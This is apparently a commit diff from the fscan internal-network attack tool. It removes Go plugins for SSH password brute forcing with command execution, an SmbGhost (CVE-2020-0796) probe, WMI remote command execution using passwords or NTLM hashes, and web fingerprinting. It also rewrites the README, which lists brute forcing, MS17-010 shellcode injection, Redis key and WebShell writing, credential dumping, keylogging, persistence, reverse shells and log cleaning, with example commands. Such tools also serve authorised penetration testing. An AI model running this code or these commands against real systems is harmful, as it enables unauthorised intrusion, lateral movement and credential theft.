path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return false, fmt.Errorf("访问系统文件失败: %v", err), flag2
}
defer f.Close()
return true, nil, flag2
}
// logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
var result string
// 构建基础信息
if Common.Domain != "" {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ",
info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ",
info.Host, info.Ports, user)
}
// 添加认证信息
if len(hash) > 0 {
result += fmt.Sprintf("Hash:%v ", Common.Hash)
} else {
result += fmt.Sprintf("Pass:%v ", pass)
}
// 添加共享列表
result += fmt.Sprintf("可用共享: %v", shares)
Common.LogSuccess(result)
}
-225
View File
@@ -1,225 +0,0 @@
package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"time"
)
func SshScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
// 增加全局扫描超时
scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second)
defer scanCancel()
for _, user := range Common.Userdict["ssh"] {
for _, pass := range Common.Passwords {
// 使用全局 context 创建子 context
ctx, cancel := context.WithTimeout(scanCtx, time.Duration(Common.Timeout)*time.Second)
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
currentUser := user
currentPass := pass
// 创建结果通道
done := make(chan struct {
success bool
err error
}, 1)
// 在 goroutine 中执行单次连接尝试
go func() {
success, err := SshConn(ctx, info, currentUser, currentPass)
select {
case done <- struct {
success bool
err error
}{success, err}:
case <-ctx.Done():
}
}()
// 等待连接结果或超时
var err error
select {
case result := <-done:
err = result.err
if result.success {
cancel()
return err
}
case <-ctx.Done():
err = fmt.Errorf("[-] 连接超时: %v", ctx.Err())
}
cancel()
// 记录失败信息
if err != nil {
errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, currentUser, currentPass, err)
Common.LogError(errlog)
tmperr = err
}
// 检查是否需要中断扫描
if Common.CheckErrs(err) {
return err
}
// 检查全局超时
if scanCtx.Err() != nil {
return fmt.Errorf("扫描总时间超时: %v", scanCtx.Err())
}
// 如果指定了SSH密钥,则不进行密码尝试
if Common.SshKey != "" {
return err
}
}
}
return tmperr
}
func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) {
// 准备认证方法
var auth []ssh.AuthMethod
if Common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(Common.SshKey)
if err != nil {
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, fmt.Errorf("[-] 解析密钥失败: %v", err)
}
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
auth = []ssh.AuthMethod{ssh.Password(pass)}
}
config := &ssh.ClientConfig{
User: user,
Auth: auth,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: time.Duration(Common.Timeout) * time.Second,
}
// 使用带超时的 Dial
conn, err := (&net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}).DialContext(ctx, "tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports))
if err != nil {
return false, err
}
defer conn.Close()
// 设置连接超时
if deadline, ok := ctx.Deadline(); ok {
conn.SetDeadline(deadline)
}
// 创建一个新的 context 用于 SSH 握手
sshCtx, sshCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
defer sshCancel()
// 使用 channel 来控制 SSH 握手的超时
sshDone := make(chan struct {
client *ssh.Client
err error
}, 1)
go func() {
sshConn, chans, reqs, err := ssh.NewClientConn(conn, fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
if err != nil {
sshDone <- struct {
client *ssh.Client
err error
}{nil, err}
return
}
client := ssh.NewClient(sshConn, chans, reqs)
sshDone <- struct {
client *ssh.Client
err error
}{client, nil}
}()
// 等待 SSH 握手完成或超时
var client *ssh.Client
select {
case result := <-sshDone:
if result.err != nil {
return false, result.err
}
client = result.client
case <-sshCtx.Done():
return false, fmt.Errorf("SSH握手超时: %v", sshCtx.Err())
}
defer client.Close()
// 创建会话
session, err := client.NewSession()
if err != nil {
return false, err
}
defer session.Close()
flag = true
if Common.Command != "" {
// 执行命令的通道
cmdDone := make(chan struct {
output []byte
err error
}, 1)
go func() {
output, err := session.CombinedOutput(Common.Command)
select {
case cmdDone <- struct {
output []byte
err error
}{output, err}:
case <-ctx.Done():
}
}()
select {
case <-ctx.Done():
return true, fmt.Errorf("命令执行超时: %v", ctx.Err())
case result := <-cmdDone:
if result.err != nil {
return true, result.err
}
if Common.SshKey != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, string(result.output)))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
info.Host, info.Ports, user, pass, string(result.output)))
}
}
} else {
if Common.SshKey != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
info.Host, info.Ports))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, user, pass))
}
}
return flag, nil
}
-161
View File
@@ -1,161 +0,0 @@
package Plugins
import (
"bytes"
"fmt"
"time"
"github.com/shadow1ng/fscan/Common"
)
const (
pkt = "\x00" + // session
"\x00\x00\xc0" + // legth
"\xfeSMB@\x00" + // protocol
//[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x1f\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
"$\x00" +
"\x08\x00" +
"\x01\x00" +
"\x00\x00" +
"\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"x\x00" +
"\x00\x00" +
"\x02\x00" +
"\x00\x00" +
"\x02\x02" +
"\x10\x02" +
"\x22\x02" +
"$\x02" +
"\x00\x03" +
"\x02\x03" +
"\x10\x03" +
"\x11\x03" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
"\x01\x00" +
"&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x03\x00" +
"\x0e\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount
"\x00\x00" +
"\x01\x00\x00\x00" +
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
)
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
func SmbGhost(info *Common.HostInfo) error {
// 如果开启了暴力破解模式,跳过该检测
if Common.IsBrute {
return nil
}
// 执行实际的SMB Ghost漏洞扫描
err := SmbGhostScan(info)
return err
}
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
func SmbGhostScan(info *Common.HostInfo) error {
// 设置扫描参数
ip := info.Host
port := 445 // SMB服务默认端口
timeout := time.Duration(Common.Timeout) * time.Second
// 构造目标地址
addr := fmt.Sprintf("%s:%v", ip, port)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil {
return err
}
defer conn.Close() // 确保连接最终被关闭
// 发送SMB协议探测数据包
if _, err = conn.Write([]byte(pkt)); err != nil {
return err
}
// 准备接收响应
buff := make([]byte, 1024)
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
return err
}
// 读取响应数据
n, err := conn.Read(buff)
if err != nil || n == 0 {
return err
}
// 分析响应数据,检测是否存在漏洞
// 检查条件:
// 1. 响应包含"Public"字符串
// 2. 响应长度大于等于76字节
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
if bytes.Contains(buff[:n], []byte("Public")) &&
len(buff[:n]) >= 76 &&
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
// 发现漏洞,记录结果
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
Common.LogSuccess(result)
}
return err
}
-156
View File
@@ -1,156 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"strings"
"time"
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
)
// 全局变量
var (
ClientHost string // 客户端主机名
flag bool // 初始化标志
)
// init 初始化函数
func init() {
if flag {
return
}
// 获取主机名
clientHost, err := os.Hostname()
if err != nil {
fmt.Println(err)
}
ClientHost = clientHost
flag = true
}
// WmiExec 执行WMI远程命令
func WmiExec(info *Common.HostInfo) (tmperr error) {
// 如果是暴力破解模式则跳过
if Common.IsBrute {
return nil
}
starttime := time.Now().Unix()
// 遍历用户字典
for _, user := range Common.Userdict["smb"] {
PASS:
// 遍历密码字典
for _, pass := range Common.Passwords {
// 替换密码模板中的用户名
pass = strings.Replace(pass, "{user}", user, -1)
// 尝试WMI连接
flag, err := Wmiexec(info, user, pass, Common.Hash)
// 记录错误日志
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
Common.LogError(errlog)
if flag {
// 成功连接,记录结果
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user)
} else {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
}
// 添加认证信息到结果
if Common.Hash != "" {
result += "hash: " + Common.Hash
} else {
result += pass
}
Common.LogSuccess(result)
return err
} else {
tmperr = err
// 检查错误是否需要终止
if Common.CheckErrs(err) {
return err
}
// 检查是否超时
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
// 如果使用NTLM Hash,则跳过密码循环
if len(Common.Hash) == 32 {
break PASS
}
}
}
return tmperr
}
// Wmiexec 包装WMI执行函数
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
wmiexec.Timeout = int(Common.Timeout)
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil)
}
// WMIExec 执行WMI远程命令
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
// 初始化WMI配置
if cfgIn == nil {
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
if err1 != nil {
err = err1
return
}
cfgIn = &cfg
}
// 创建WMI执行器
execer := wmiexec.NewExecer(cfgIn)
// 设置目标绑定
err = execer.SetTargetBinding(binding)
if err != nil {
return
}
// 进行认证
err = execer.Auth()
if err != nil {
return
}
flag = true
// 如果有命令则执行
if command != "" {
// 使用cmd.exe执行命令
command = "C:\\Windows\\system32\\cmd.exe /c " + command
// 检查RPC端口
if execer.TargetRPCPort == 0 {
err = errors.New("RPC端口为0,无法连接")
return
}
// 建立RPC连接
err = execer.RPCConnect()
if err != nil {
return
}
// 执行命令
err = execer.Exec(command)
if err != nil {
return
}
}
return
}
-323
View File
@@ -1,323 +0,0 @@
package Plugins
import (
"compress/gzip"
"crypto/tls"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"strings"
"time"
"unicode/utf8"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"golang.org/x/text/encoding/simplifiedchinese"
)
// WebTitle 获取Web标题并执行扫描
func WebTitle(info *Common.HostInfo) error {
// 如果是webpoc扫描模式,直接执行WebScan
if Common.Scantype == "webpoc" {
WebScan.WebScan(info)
return nil
}
// 获取网站标题信息
err, CheckData := GOWebTitle(info)
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
// 检查是否为打印机,避免意外打印
for _, v := range info.Infostr {
if v == "打印机" {
return nil
}
}
// 根据配置决定是否执行漏洞扫描
if !Common.NoPoc && err == nil {
WebScan.WebScan(info)
} else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
Common.LogError(errlog)
}
return err
}
// GOWebTitle 获取网站标题并处理URL
func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
// 如果URL未指定,根据端口生成URL
if info.Url == "" {
switch info.Ports {
case "80":
info.Url = fmt.Sprintf("http://%s", info.Host)
case "443":
info.Url = fmt.Sprintf("https://%s", info.Host)
default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol := GetProtocol(host, Common.Timeout)
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
}
} else {
// 处理未指定协议的URL
if !strings.Contains(info.Url, "://") {
host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, Common.Timeout)
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
}
}
// 第一次获取URL
err, result, CheckData := geturl(info, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") {
return
}
// 处理URL跳转
if strings.Contains(result, "://") {
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
// 处理HTTP到HTTPS的升级
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData)
// 处理升级后的跳转
if strings.Contains(result, "://") {
info.Url = result
err, _, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
}
if err != nil {
return
}
return
}
// geturl 获取URL响应内容和信息
// 参数:
// - info: 主机配置信息
// - flag: 请求类型标志(1:首次尝试 2:获取favicon 3:处理302跳转 4:处理400转https)
// - CheckData: 检查数据数组
//
// 返回:
// - error: 错误信息
// - string: 重定向URL或协议
// - []WebScan.CheckDatas: 更新后的检查数据
func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
// 处理目标URL
Url := info.Url
if flag == 2 {
// 获取favicon.ico的URL
URL, err := url.Parse(Url)
if err == nil {
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
} else {
Url += "/favicon.ico"
}
}
// 创建HTTP请求
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
return err, "", CheckData
}
// 设置请求头
req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if Common.Cookie != "" {
req.Header.Set("Cookie", Common.Cookie)
}
req.Header.Set("Connection", "close")
// 选择HTTP客户端
var client *http.Client
if flag == 1 {
client = lib.ClientNoRedirect // 不跟随重定向
} else {
client = lib.Client // 跟随重定向
}
// 发送请求
resp, err := client.Do(req)
if err != nil {
return err, "https", CheckData
}
defer resp.Body.Close()
// 读取响应内容
body, err := getRespBody(resp)
if err != nil {
return err, "https", CheckData
}
// 保存检查数据
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
// 处理非favicon请求
var reurl string
if flag != 2 {
// 处理编码
if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
// 获取页面信息
title := gettitle(body)
length := resp.Header.Get("Content-Length")
if length == "" {
length = fmt.Sprintf("%v", len(body))
}
// 处理重定向
redirURL, err1 := resp.Location()
if err1 == nil {
reurl = redirURL.String()
}
// 输出结果
result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
result += fmt.Sprintf(" 重定向地址: %s", reurl)
}
Common.LogSuccess(result)
}
// 返回结果
if reurl != "" {
return nil, reurl, CheckData
}
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
return nil, "https", CheckData
}
return nil, "", CheckData
}
// getRespBody 读取HTTP响应体内容
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
// 处理gzip压缩的响应
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
// 循环读取解压内容
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
// 直接读取未压缩的响应
raw, err := io.ReadAll(oResp.Body)
if err != nil {
return nil, err
}
body = raw
}
return body, nil
}
// gettitle 从HTML内容中提取网页标题
func gettitle(body []byte) (title string) {
// 使用正则表达式匹配title标签内容
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
title = string(find[1])
// 清理标题内容
title = strings.TrimSpace(title) // 去除首尾空格
title = strings.Replace(title, "\n", "", -1) // 去除换行
title = strings.Replace(title, "\r", "", -1) // 去除回车
title = strings.Replace(title, "&nbsp;", " ", -1) // 替换HTML空格
// 截断过长的标题
if len(title) > 100 {
title = title[:100]
}
// 处理空标题
if title == "" {
title = "\"\"" // 空标题显示为双引号
}
} else {
title = "无标题" // 没有找到title标签
}
return
}
// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS)
func GetProtocol(host string, Timeout int64) (protocol string) {
protocol = "http"
// 根据标准端口快速判断协议
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
return
} else if strings.HasSuffix(host, ":443") {
protocol = "https"
return
}
// 尝试建立TCP连接
socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
if err != nil {
return
}
// 尝试TLS握手
conn := tls.Client(socksconn, &tls.Config{
MinVersion: tls.VersionTLS10,
InsecureSkipVerify: true,
})
// 确保连接关闭
defer func() {
if conn != nil {
defer func() {
if err := recover(); err != nil {
Common.LogError(err)
}
}()
conn.Close()
}
}()
// 设置连接超时
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
// 执行TLS握手
err = conn.Handshake()
if err == nil || strings.Contains(err.Error(), "handshake failure") {
protocol = "https"
}
return protocol
}
+235 -243
View File
@@ -1,300 +1,292 @@
# Fscan 2.0.0
[English][url-docen]
# Fscan
# 0x01 简介
一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。
[English](README_EN.md)
## 主要功能
内网综合扫描工具,一键自动化漏扫。
- 主机存活探测:快速识别内网中的活跃主机
- 端口扫描:全面检测目标主机开放端口
- 服务爆破:支持对常见服务进行密码爆破测试
- 漏洞利用:集成MS17-010等高危漏洞检测
- Redis利用:支持批量写入公钥进行权限获取
- 系统信息收集:可读取Windows网卡信息
- Web应用检测:
- Web指纹识别
- Web漏洞扫描
- 域环境探测:
- NetBIOS信息获取
- 域控制器识别
- 后渗透功能:支持通过计划任务实现反弹shell
**版本**: 2.2.0-rc.1
# 0x02 主要功能
## 1. 信息搜集
- 基于ICMP的主机存活探测:快速识别网络中的活跃主机设备
- 全面的端口扫描:系统地检测目标主机的开放端口情况
## 功能特性
## 2. 爆破功能
- 常用服务密码爆破:支持SSH、SMB、RDP等多种协议的身份认证测试
- 数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统
### 扫描能力
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
## 3. 系统信息与漏洞扫描
- 网络信息收集:包括NetBIOS探测和域控制器识别
- 系统信息获取:能够读取目标系统网卡配置信息
- 安全漏洞检测:支持MS17-010等高危漏洞的识别与检测
### 爆破能力
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
- **SSH密钥登录** - 支持私钥认证方式
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
## 4. Web应用探
- 网站信息收集:自动获取网站标题信息
- Web指纹识别:可识别常见CMS系统与OA框架
- 漏洞扫描能力:集成WebLogic、Struts2等漏洞检测,兼容XRay POC
### 漏洞检
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
- **DNSLog** - 支持DNSLog外带检测
## 5. 漏洞利用模块
- Redis利用:支持写入公钥或植入计划任务
- SSH远程执行:提供SSH命令执行功能
- MS17-010利用:支持ShellCode注入,可实现添加用户等操作
### 漏洞利用
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
- **SSH命令执行** - 认证成功后自动执行命令
## 6. 辅助功能
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
### 本地模块
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
- **杀软检测** - 识别目标主机安装的安全软件
- **痕迹清理** - 日志清理工具
### 输入输出
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
- **排除规则** - 支持排除特定主机、端口
- **输出格式** - TXT/JSON/CSV多格式输出
- **静默模式** - 无Banner、无进度条、无颜色输出
### 网络控制
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
- **发包控制** - 速率限制、最大发包数量控制
- **超时控制** - 端口超时、Web超时、全局超时独立配置
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
### 扩展功能
- **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
- **Lab靶场环境** - 内置Docker靶场用于测试学习
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
- **多语言支持** - 中英文界面切换(-lang zh/en)
- **性能统计** - JSON格式性能报告(-perf)
## v2.1.0 更新日志
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
### 架构重构
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
- **HostInfo重构** - Ports字段从string改为int,类型安全
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
- **代码审计** - 修复P0-P2级别问题,清理deadcode
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
### 性能优化
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
- **并发指纹匹配** - 多协程并行匹配,提升识别速度
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
- **预分配容量** - 简化转换链、单次字符串替换
- **并发安全优化** - 优化锁粒度和内存分配
### 新功能
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
- **多格式POC适配** - 支持xray和afrog格式POC
- **智能扫描模式** - 布隆过滤器去重+代理优化
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
- **通用版本提取器** - 自动提取服务版本信息
- **指纹优先级排序** - 智能排序匹配结果
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
- **网卡指定功能** - 支持VPN场景(-iface参数)
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
- **端口扫描重试** - 失败自动重扫机制
- **RDP真实认证** - 集成grdp库实现系统指纹识别
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
- **默认端口扩展** - 从62个扩展到133个常用端口
- **全端口扫描支持** - 扩大端口范围限制
- **HTTP重定向控制** - 可配置的重定向次数限制
- **性能分析支持** - 添加pprof性能分析和benchmark测试
- **TCP包统计** - 服务插件支持TCP包发送统计
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
### Bug修复(120项,列出关键修复)
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
- **JSON输出格式** - 修复输出格式错误(#446)
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
- **结果实时保存** - 修复扫描结果未及时保存(#469)
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
- **MySQL连接验证** - 改用information_schema库验证
- **代理端口误判** - 修复代理模式下端口状态判断错误
- **Context超时** - 修复22处插件超时未响应问题
- **ICMP竞态条件** - 修复并发扫描竞争问题
- **IPv6地址格式** - 修复4处地址格式化问题
- **POC高并发卡死** - 修复Context未传播问题
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
- **SOCKS5全回显** - 添加代理连接验证
- **服务探测泄漏** - 修复连接未正确关闭问题
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
- **JSON指纹缺失** - 统一SERVICE结果Target格式
- **扫描耗时显示** - 修复完成耗时显示为0的问题
- **虚假漏洞记录** - 重构TXT输出系统消除误报
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
- **Windows编译警告** - 修复fscan-lite平台兼容性
- **Go 1.20兼容** - 降级依赖保持兼容性
### 测试增强(20项)
- **单元测试** - 核心模块覆盖率74-100%
- **并发安全测试** - State对象、指纹匹配引擎专项测试
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
- **CLI参数测试** - 命令行参数解析验证
- **性能基准测试** - AdaptivePool、服务探测策略benchmark
- **ResultBuffer测试** - 去重和完整度评分验证
### 工程化改进
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
- **README重写** - 中英文文档全面更新
- **代码格式统一** - gofmt/goimports规范化
## 快速开始
# 0x03 使用说明
## 基础用法
```bash
# 默认扫描(使用全部模块)
fscan.exe -h 192.168.1.1/24
# 扫描C段
./fscan -h 192.168.1.1/24
# B段扫描
fscan.exe -h 192.168.1.1/16
# 指定端口
./fscan -h 192.168.1.1 -p 22,80,443,3389
# 仅存活探测
./fscan -h 192.168.1.1/24 -ao
# 禁用爆破
./fscan -h 192.168.1.1/24 -nobr
# Web扫描
./fscan -u http://192.168.1.1
# 本地插件
./fscan -local systeminfo
# Hash碰撞
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
# Redis写公钥
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
```
## 进阶用法
## 编译
### 扫描控制
```bash
# 跳过存活检测、不保存文件、跳过web poc扫描
fscan.exe -h 192.168.1.1/24 -np -no -nopoc
# 标准编译
go build -ldflags="-s -w" -trimpath -o fscan .
# 指定扫描结果保存路径
